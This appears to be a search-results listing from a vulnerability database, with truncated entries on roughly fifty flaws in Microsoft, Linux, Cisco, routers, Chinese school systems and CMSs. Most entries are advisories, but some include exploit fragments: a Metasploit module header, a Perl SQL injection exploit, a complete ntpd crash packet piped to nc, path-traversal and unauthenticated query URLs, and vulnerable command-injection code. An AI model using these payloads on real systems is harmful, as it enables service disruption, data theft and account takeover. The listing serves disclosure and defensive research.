56796 matches found
MS14-017 Microsoft Word RTF Object Confusion
No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initializeinfo =...
某教务系统组合漏洞可直接重置任意用户密码
简要描述： 某教务系统组合漏洞可直接重置任意用户密码 详细说明： 重置密码时验证身份的功能形同虚设！重置密码根本不需要验证身份证号，空值直接搞定 漏洞证明： 它要验证的身份证号我根本没打，只是随便点了一下，然后…… 成功了？！！！这就成功了？！！！ 好吧，去试试…… 咦？原来的密码还真进不取了诶！那试试身份证号后6位呢？ 哇塞！我和我的小伙伴都惊呆了诶！ 好了，到这里你可能会说身份证号后6位别人也不一定知道呀 不要紧，有问题，强智科技来帮你！ 这个时候以前一个“无关紧要”的漏洞就派上用场喽！ http://kdjw.hnust.cn/kdjw/xscjcx.jsp?yzbh=【学号】...
Srun3000计费系统无限制多处任意命令执行getshell
简要描述： Srun3000计费系统无限制任意命令执行getshell 详细说明： 文件： /enus/radonline.php srun3/web/online.php 4-76行 srun3/web/radonline.php 4-76行 if$POST"action"=="dm" $cmd = "/srun3/bin/raddrop -sdm ".$POST"sid"; if$fp=popen$cmd, "r" $con = fread$fp, 128; pclose$fp; $con = strreplace "\n", " ", $con; echo $con; exit;...
用友某办公自动化平台漏洞之1-未授权访问导致目录漏洞
简要描述： 文件上传页面没做权限控制，未对用户传递的目录进行过滤，导致../跳转上级目录 详细说明： 无意间看到这个平台 FE协作办公平台 测试版本：5.2.1 版本大于5.2.1未受影响 ，小于5.2.1的版本未测 在网上用百度找了一下 直接访问/system/mediafile/templateOfTaohongmanager.jsp?path=/../../../ 可以通过../跳转目录，导致敏感信息泄露 漏洞证明： 无意间看到这个平台 FE协作办公平台 测试版本：5.2.1 版本大于5.2.1未受影响 ，小于5.2.1的版本未测 在网上用百度找了一下...
Linux Kernel "rds_ib_laddr_check()"空指针引用漏洞
CVE ID:CVE-2013-7339 Linux Kernel是一款开源的操作系统。 Linux Kernel "rdsibladdrcheck"函数net/rds/ib.c存在一个空指针引用错误，允许本地攻击者利用漏洞使内核崩溃，造成拒绝服务攻击。 0 Linux Kernel 2.6.32.61 用户可参考厂商的GIT库以获得补丁修复此漏洞： https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c2349758acf1874e4c2b93fe41d072336f1a31d0...
Unzipper目录遍历漏洞
Bugtraq ID:66250 CVE ID:CVE-2014-1975 Unzipper是一款基于PHP的在线解压应用。 Unzipper处理文件名存在目录遍历漏洞，允许远程攻击者可创建任意文件或覆盖已存在的文件。 0 Unzipper 1.0.1 用户可联系厂商获得最新的补丁或升级程序： https://play.google.com/store/apps/details?id=org.rhorita777.unzipper...
Vtiger CRM文件包含漏洞
CVE ID：CVE-2014-1222 vtiger CRM是一套基于Web以销售能力自动化SFA为主的客户关系管理系统CRM 。 本地文件包含漏洞被发现在vtigerCRM 6.0 RC的'kcfinder'组件。攻击者可以利用漏洞通过目录遍历序列包含任意文件，并泄漏任意文件内容。 0 Vtiger CRM 5.4.0 Vtiger CRM 6.0 RC Vtiger CRM 6.0.0 GA 厂商补丁： vtiger CRM ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.vtiger.com/ POST...
SIEMENS SIMATIC WinCC Open Architecture不安全密码哈希漏洞
BUGTRAQ ID: 65339 CVECAN ID: CVE-2014-1696 Siemens SIMATIC WinCC 是监测控制和数据采集SCADA及人机界面HMI系统。 SIEMENS SIMATIC WinCC OA 3.12 P002之前版本使用了弱密码哈希算法，存在安全漏洞，远程攻击者通过暴力攻击，即可获取访问权限。 0 Siemens SIMATIC WinCC Open Architecture 3.12 P002 January 厂商补丁： Siemens ------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
Appotech AX211 / AX215 8-bit SD卡控制器固件升级机制代码执行漏洞
Appotech AX211 / AX215是微型控制器设备。 Appotech AX211 / AX215 8位SD卡控制器在固件升级机制中存在安全漏洞，攻击者发送'knock'指令CMD63后跟'A', 'P', 'P', 'O'，就会让控制器进入固件加载模式，可物理访问内存卡的攻击者可在卡上执行任意指令。 0 Appotech AX211 Appotech AX215 目前没有详细解决方案提供： hhttp://www.appotech.com/dp/...
Cisco WebEx Training Center培训会话号信息泄漏漏洞
Bugtraq ID:64282 CVE ID:CVE-2013-6972 Cisco WebEx Training Center是一款互动式培训解决方案，可开展电子教学。 Cisco WebEx Training Center不正确泄漏服务器应答中的敏感信息给客户端，允许远程攻击者利用漏洞查看受影响页面的来源。即使主机没有允许该攻击者作为参会者，拥有合法会话号的攻击者可使用此号加入会议音频部分。 0 Cisco WebEx Training Center 厂商补丁： Cisco ----- 用户可参考如下厂商提供的安全公告获得补丁信息：...
IBM Security AppScan Enterprise 弱密码安全绕过漏洞(CVE-2013-0531)
BUGTRAQ ID: 62179 CVECAN ID: CVE-2013-0531 IBM Securityl AppScan Enterprise 是一个基于Web 的多用户Web 应用程序安全解决方案，提供集中的安全性扫描、数据合并和报告、补救功能、执行仪表板等功能 IBM Security AppScan Enterprise 即之前的IBM Rational AppScan Enterprise 支持使用弱加密算法的SSL套件，攻击者无需本地网络访问及身份验证，即可利用此漏洞解密客户端和服务器之间的通讯，或在客户端上执行中间人攻击，从而获取敏感信息，执行未授权操作 0 IBM...
o2micro minica_down.php 任意文件下载漏洞
网御神州、天融信、美国凹凸等vpn设备开发疑似源于同一套技术，其中的"/minicadown.php"文件可以再下载其它任意文件 网御神州、天融信、美国凹凸等vpn设备...
正方教务管理系统 可直接查询教师提交但教务处未审核的成绩
简要描述： 可直接查询教师提交，但教务处未审核的成绩。无需登录，可查询全校所有学生。 详细说明： 如该学校教务管理系统地址为1.85.16.39 ： 先获取到某学科的课程代码， 在个人信息-信息发送-查看源文件里 然后把获取的代码替换到下面的地址里即可下载 http://1.85.16.39/toexcelPrintDialog.aspx?kc=此处填写课程代码&tab=jxrwblsb&psb=30&qzb=0&qmb=70&syb=0&cjxn=2012-2013&cjxq=1&kclx=必修课 漏洞证明：...
Squid Proxy 'Host' HTTP标头安全限制绕过漏洞
BUGTRAQ ID: 53024 Squid是一个高效的Web缓存及代理程序，最初是为Unix平台开发的，现在也被移植到Linux和大多数的Unix类系统中，最新的Squid可以运行在Windows平台下。 Squid Proxy在过滤规则的实现上存在安全漏洞，成功攻击可允许攻击者绕过某些安全限制。 0 Squid Web Proxy Cache 3.1.19 厂商补丁： Squid ----- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.squid-cache.org import...
Cisco IOS授权安全绕过漏洞(CVE-2012-0384)
Bugtraq ID: 52755 CVE ID：CVE-2012-0384 Cisco IOS是一款流行的Internet操作系统 Cisco IOS允许通过HTTP或HTTPS链接对设备进行管理和监控。Cisco IOS命令授权存在安全漏洞，允许通过验证的HTTP或HTTPS会话绕过授权以它们的授权级别执行任意Cisco IOS命令。此漏洞不允许未验证访问，需要提供合法用户名和密码来利用此漏洞。此外漏洞不允许用户执行自身特权级别之外的命令 0 Cisco IOS XE 2.6.2 Cisco IOS XE 2.6.1 Cisco IOS XE 2.5.2 Cisco IOS XE...
Oracle Java SE JRE 2D子组件远程安全漏洞(CVE-2012-0497)
BUGTRAQ ID: 52009 CVE ID: CVE-2012-0497 Sun Java Runtime Environment是一款为JAVA应用程序提供可靠的运行环境的解决方案。 Oracle Java SE中的Java Runtime Environment在实现上存在远程漏洞，可通过多个协议利用，未经验证的攻击者可利用此漏洞影响2D子组件，导致完全控制受影响组件。此漏洞可影响：7 Update 2、6 Update 30 0 Oracle Sun JRE 1.6.x Oracle Sun JDK 1.6.x 厂商补丁： Oracle ------...
Linux Kernel "posix-cpu-timers.c"本地竞争条件漏洞
BUGTRAQ ID: 45028 CVE ID: CVE-2010-4248 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel在实现上存在漏洞，攻击者可以利用此漏洞引起内核瘫痪，异常终止受影响的计算机。 posix-cpu-timers.c认为将要终止的进程会执行posixcputimersexitgroup并将从 signal-cputimers列表中删除所有!CPUCLOCKPERTHREAD计时器。但它错误地认为 timer-it.cpu.task总是组前导，这样dead -task就表示不作用的线程组。 Linux kernel...
Microsoft Windows嵌入式OpenType字体引擎整数溢出漏洞（MS10-076）
BUGTRAQ ID: 43775 CVE ID: CVE-2010-1883 Microsoft Windows是微软发布的非常流行的操作系统。 Windows的t2embed.dll库中在将嵌入式OpenType文件转换为TrueType格式时存在整数溢出漏洞。在解析hdmx记录时，盲目的信任了记录大小和记录计数变量，并将所生成的值在拷贝循环中使用，这可能导致执行任意代码。 Microsoft Windows XP SP3 Microsoft Windows XP Pro x64版SP2 Microsoft Windows Vista SP2 Microsoft Windows...
Microsoft Windows SMTP Server组件MX记录解析拒绝服务漏洞（MS10-024）
BUGTRAQ ID: 39308 CVE ID: CVE-2010-0024 Microsoft Windows是微软发布的非常流行的操作系统。 Windows的SMTP组件处理特制的DNS邮件交换器（MX）资源记录的方式中存在拒绝服务漏洞。利用该漏洞的尝试不要求进行认证，攻击者可以通过向运行SMTP服务的计算机发送特制网络消息来利用该漏洞。成功利用此漏洞的攻击者可能会导致SMTP服务停止响应，直至重新启动。 Microsoft Exchange Server 2003 SP2 Microsoft Windows XP SP3 Microsoft Windows XP SP2...
Red Hat Linux内核'qla2xxx'驱动安全绕过漏洞
Bugraq ID: 37876 CVE ID：CVE-2009-3556 Red Hat是一款流行的Linux发行版本。 qla2xxx驱动支持NPort ID Virtualization NPIV，它增加了两个新的sysfs pseudo文件:"/sys/class/scsihost/a qla2xxx host/vportcreate"和"vportdelete"，这两个文件默认全局可写，允许本地用户更改SCSI主机属性。 此漏洞仅影响使用qla2xxx驱动和NPIV硬件。 RedHat Enterprise Linux EUS 5.4.z server RedHat...
Linux Kernel ext4_fill_flex_info函数拒绝服务漏洞
CVE ID: CVE-2009-4307 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的ext4子系统fs/ext4/super.c文件中的ext4fillflexinfo函数中存在拒绝服务漏洞。如果用户所加载的 ext4文件系统中的超级块带有超大的FLEXBG组大小（也称为sloggroupsperflex值），groupsperflex就会溢出，导致0除数错误，系统可能会崩溃。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
Safari 4.0.4版本修复多个安全漏洞
BUGTRAQ ID: 36357,36010,36994,36995,36997,36996 CVE ID: CVE-2009-2804,CVE-2009-2414,CVE-2009-2416,CVE-2009-2842,CVE-2009-2816,CVE-2009-3384,CVE-2009-2841 Safari是苹果家族机器操作系统中默认捆绑的WEB浏览器。 远程攻击者可以利用Safari浏览器中的多个错误导致拒绝服务、读取敏感信息或执行任意代码。 CVE-2009-2804...
多个BSD系统gdtoa/misc.c文件内存破坏漏洞
BUGTRAQ ID: 35510 CVECAN ID: CVE-2009-0689 OpenBSD、NetBSD、FreeBSD都是流行的BSD操作系统，是Unix的衍生系统。 OpenBSD、NetBSD、FreeBSD的dtoa实现中存在数组溢出漏洞。在src/lib/libc/gdtoa/gdtoaimp.h中： - ---gdtoaimp.h--- ... define Kmax 15 ... - ---gdtoaimp.h--- 最大的Kmax长度为15，如果提供了更大的值（如17），程序就会溢出freelist数组，bss为0x1。 以NetBSD为例： -...
Apache Tomcat Java AJP连接器无效头拒绝服务漏洞
BUGTRAQ ID: 35193 CVECAN ID: CVE-2009-0033 Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。 如果Tomcat通过Java AJP连接器接收到了带有无效头的请求，就会关闭AJP连接器而不是返回错误。在这个连接器是modjk负载均衡worker成员的情况下，这个成员就会进入出错状态，在大约一分钟的时间内无法使用。 Apache Group Tomcat 6.0.x Apache Group Tomcat 5.5.x Apache Group Tomcat 4.1.x 厂商补丁： Apache Group -----------...
Linux Kernel drivers/char/agp/generic.c文件本地信息泄露漏洞
BUGTRAQ ID: 34673 CVECAN ID: CVE-2009-1192 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的agp子系统的drivers/char/agp/generic.c文件没有清零用户空间进程可使用的页面，本地用户可以通过读取这些页面获得敏感信息。 Linux kernel 2.6.x Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
ClamAV UPack拒绝服务和cli_url_canon()栈溢出漏洞
BUGTRAQ ID: 34446 CVECAN ID: CVE-2009-1371,CVE-2009-1372 Clam AntiVirus是Unix的GPL杀毒工具包，很多邮件网关产品都在使用。 ClamAV的libclamav/phishcheck.c文件中的cliurlcanon函数存在栈溢出漏洞，远程攻击者可以通过提交恶意的URL来触发这个溢出，导致执行任意代码。 如果用户使用ClamAV扫描到了UPack编码的畸形文件的话，libclamav/others.h文件的CLIISCONTAINED宏中的安全漏洞可能导致应用程序崩溃。 ClamAV 0.95.1 ClamAV...
多个SlySoft产品ElbyCDIO.sys驱动本地溢出漏洞
BUGTRAQ ID: 34103 CVECAN ID: CVE-2009-0824 SlySoft是爱尔兰的一家软件公司，产品包括AnyDVD、Virtual CloneDrive、CloneDVD等DVD解密和虚拟光驱工具。 SlySoft多个产品中所使用的ElbyCDIO.sys驱动没有正确地处理IOCTL请求。由于IOCTL处理器使用METHODNEITHER通讯方式且没有正确地验证Irp对象相关的缓冲区，因此本地用户可以提交特制的IOCTL请求触发缓冲区溢出，导致内核崩溃。 SlySoft AnyDVD 6.5.2.2 SlySoft Virtual CloneDrive...
MDPro Module My_eGallery (pid) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl read; MDPro Module MyeGallery Remote SQL Injection Exploit by s3rg3770 && yeat - stakerathotmaildotit dork: inurl:module=MyeGallery pid note: works regardless of php.ini settings. read use IO::Socket; my $host,$path,$id = @ARGV; if @ARGV != 3 prin...
Apple QuickTime 'STSZ' Atoms内存破坏漏洞
BUGTRAQ ID: 31546 CVE ID：CVE-2008-3626 CNCVE ID：CNCVE-20083626 Apple QuickTime是一款流行的媒体处理程序。 Apple QuickTime处理特殊构建的媒体文件存在问题，远程攻击者可以利用漏洞进行缓冲区溢出，可导致以应用程序权限执行任意指令。 问题存在于CallComponentFunctionWithStorage函数中对STSZ atoms的处理，当samplesizetable中的条目过大时，可触发内存破坏，可能以当前用户上下文执行任意指令。 Apple TV 2.1 Apple TV 2.0 Apple ...
OpenOffice HSQLDB数据库引擎Java代码执行漏洞
BUGTRAQ ID: 26703 CVECAN ID: CVE-2007-4575 OpenOffice是个整合性的软件，包含了许多文字处理、表格、公式等办公工具。 OpenOffice的数据库引擎HSQLDB实现上存在漏洞，远程攻击者可能利用此漏洞执行任意Java代码。 OpenOffice所捆绑的默认数据库引擎HSQLDB在解析SQL查询时没有正确地强制安全限制，如果用户受骗打开了恶意数据库文档中并执行了其中所包含的特制SQL查询的话，就可能导致调用任意静态的Java方式。 OpenOffice 2.3.1 厂商补丁： Debian ------...
PHP MySQL/MySQLi扩展绕过安全限制漏洞
CVECAN ID: CVE-2007-3997 PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 PHP的MySQL和MySQLi扩展在处理畸形数据的SQL请求时，远程攻击者可能利用此漏洞执行SQL注入攻击。 PHP的MySQL和MySQLi扩展没有正确地处理包含有LOCAL INFILE的SQL查询请求，如果远程攻击者向安装了这些扩展的服务器提交了恶意SQL请求的话，就可以绕过openbasedir和safemode安全限制，执行非授权操作。请注意不要依赖于共享主机MySQLd local-infile=0选项，因为这个选项是服务器选项，因此不会影响客户...
Supasite 1.23b Multiple Remote File Inclusion Vulnerabilities
No description provided by source. Supasite v1.23b = Multiple Remote File Include Vulnerablitiy D.Script: http://belnet.dl.sourceforge.net/sourceforge/supasite/supasite1.23b.tar.gz Discovered by: GolDM = Mahmoodali Homepage: http://www.Tryag.cc...
Joomla Component Joomlaboard 1.1.1 (sbp) RFI Vulnerability
No description provided by source. Joomla comjoomlaboard 1.1.x Branch sbp Multiple Remote File Include Vulnerabilities Joomlaboard Component 1.1.x Branch sbp Multiple Remote File Include Vulnerabilities script :...
Microsoft Internet Explorer NavCancel.HTM跨站脚本漏洞
Microsoft Internet Explorer是一款流行的WEB浏览器。 Microsoft Internet Explorer包含的navcancl.htm存在输入验证问题，远程攻击者可以利用漏洞进行跨站脚本攻击，可以获得敏感信息。 当特定页面取消时，页面URL会提供给navcancl.htm处理，类似res://ieframe.dll/navcancl.htmhttp://www.site.com，navcancl.htm然后在“Refresh the...
Pixel Motion Config.PHP远程命令执行漏洞
Pixel Motion是一款基于PHP的web应用程序。 Pixel Motion不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于‘config. php’脚本对用户提交的web参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Pixel Motion Pixel Motion 2.1.1 目前没有解决方案提供，请关注以下链接： http://www.pixelmotion.org/ !/usr/bin/perl Affected.scr..: Blog Pixel Motion V2.1.1...
LeighBusinessEnterprisesWebHelpDeskSQL注入漏洞
LBE Web Helpdesk是一款可通过WEB浏览器进行操作的Helpdesk系统。LBE Web Helpdesk不正确过滤用户提交的数据，远程攻击者可以利用这个漏洞进行SQL注入攻击，可能获得敏感数据或修改数据库。问题存在于jobedit.asp脚本对用户提交给'id'参数缺少过滤，提交包含恶意SQL命令的数据作为'id'参数，可修改'users'表，增加操作员相等权限的新用户。 Leigh Business Enterprises Web HelpDesk 4.0.0.80 临时解决方法：如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁： 在$nick...
MS Exchange Server Remote Code Execution Exploit (MS05-021)
漏洞描述：Microsoft Exchange是一款由微软开发的邮件服务程序。Microsoft Exchange Server中存在缓冲区溢出漏洞，攻击者可能利用此漏洞在主机上执行任意指令。 起因是Exchange SMTP Server在处理特殊的扩展SMTP verb时存在缓冲区溢出。漏洞可能允许攻击者连接到Exchange服务器的SMTP端口并发送精心构造的恶意命令，这些命令可能导致拒绝服务或以SMTP服务进程的权限运行攻击者所选择的代码。漏洞影响：受影响的软件： •Microsoft Exchange Server 2000 Service Pack 3 •Microsoft...
Samsung Galaxy S7 Edge: Overflow in OMACP WbXml String Extension Processing(CVE-2018-10751)
OMACP is a protocol supported by many mobile devices which allows them to receive provisioning information over the mobile network. One way to provision a device is via a WAP push SMS message containing provisioning information in WbXML. A malformed OMACP WAP push message can cause memory...
Multiple vulnerabilities in all versions of ASUS routers
1 ASUSWRT 3.0.0.4.376 - multiple vulnerabilities in httpd server all versions of AsusWRT at the time of report to vendor, for previous 376 version see next section 1. Highly predictable session tokens The session token is generated for an authenticated user using stdlib rand function. The token...
Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol
Product Description Dlink is a multinational networking equipment manufacturing corporation. The Dlink 850L is a Wireless AC1200 Dual Band Gigabit "Cloud" Router. Mydlink Cloud Services allow you to access, view and control the devices on your home network from anywhere. Vulnerabilities Summary T...
OpenVPN Access Server : CRLF injection with Session fixation(CVE-2017-5868)
Description OpenVPN Access Server is a full featured secure network tunneling VPN software solution that integrates OpenVPN server capabilities, enterprise management capabilities, simplified OpenVPN Connect UI, and OpenVPN Client software packages that accommodate Windows, MAC, Linux, Android, a...
Firefox Integer overflow leading to a buffer overflow in nsScriptLoadHandler (CVE-2016-9066)
This post will explore how CVE-2016-9066, a simple but quite interesting from an exploitation perspective vulnerability in Firefox, can be exploited to gain code execution. tl;dr an integer overflow in the code responsible for loading script tags leads to an out-of-bounds write past the end of an...
BigTree CMS - Bypass CSRF filter and execute code with PHPMailer
DESCRIPTION PHPMailer RCE CVE-2016-10033 An independent research uncovered a critical vulnerability in PHPMailer version Sender According to my analysis, if we can control the value of Sender, we can let sendmail save the context to any given path /var/www/html/shell.php, which means code...
Trend Micro Threat Discovery Appliance - Session Generation Authentication Bypass (CVE-2016-8584)
In the last few months, I have been testing several Trend Micro products with Steven Seeley @steventseeley. Together, we have found more than 200+ RCE Remote Code Execution vulnerabilities and for the first time we presented the outcome of our research at Hack In The Box 2017 Amsterdam in April...
ntpd remote pre-auth DoS (CVE-2016-7434)
poc echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsY"\ | "WRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123 Valgrind report $ sudo valgrind ./ntpd/ntpd -n -c /resources/ntp.conf | | ==5389== Memcheck, a memory error detector | | ==5389== Copyright C 2002-201...
海康威视视频接入网关系统 /userInfo/roleInfo.php等34处 SQL注入漏洞
0x01漏洞简介 海康威视视频接入网关系统采用PHP+SQLite架构，其在以下34处均存在注入漏洞： /userInfo/roleInfo.php /userInfo/userInfo.php /data/fetchRoleTreeJson.php /deviceConfig/configDeviceInfo.php /transformServer/serverConfigInfo.php /cameraConfig/transferInfo.php /data/deviceAndCameraListData.php /data/deviceTypeData.php...
FFmpeg 2.x版本服务器端请求伪造漏洞
详情来源 ：ffmpeg SSRF漏洞分析 ffmpeg得反应很快，1月16日就发布了修复版本。 漏洞影响 如果ffmpeg解析了一个恶意的文件，会导致本地的文件信息泄露。受影响的出了ctf中这个在线视频格式转换的服务外，如果是采用ffmpeg了客户端如果可以输入恶意文件也会造成本地文件信息泄露。 漏洞分析 change log中提到了两个CVE CVE-2016-1897和CVE-2016-1898。 CVE-2016-1897 FFmpeg 2.x版本允许攻击者通过服务器端请求伪造SSRF：Server-Side Request Forgery...
KesionCMS ASP版 /item/?c-5,key-1.html SQL注入漏洞
0x01漏洞简介 KesionCMS ASP版在/item/?c-5,key-1.html存在伪静态注入漏洞。 0x02漏洞详情 很明显的一处注入；但是好像需要闭合，先提交了证明下注入 http://.../item/?c-5,key-1%27.html Microsoft JET Database Engine 错误 '80040e14' 语法错误 在查询表达式 'Verific=1 and deltf=0 And Title Like '%1'%' Order by ID Desc' 中。 /item/Index.asp，行 618 0x03修复方案 过滤。...
jcms系统session重置导致getshell
简要描述： 详细说明： jcms系统session重置导致getshell 在/jcms/jcmsfiles/jcms1/web1/site/module/oss/quecode.jsp String sessionId = request.getParameter"sessionid"; 直接通过sessionid获取值 code1.setSessionNamesessionId; 然后又直接设置session 而在我们的jcms中的setup后台管理制作端中又只判断其中cookieusername是否为空 不为空即就登录 可参考如下：...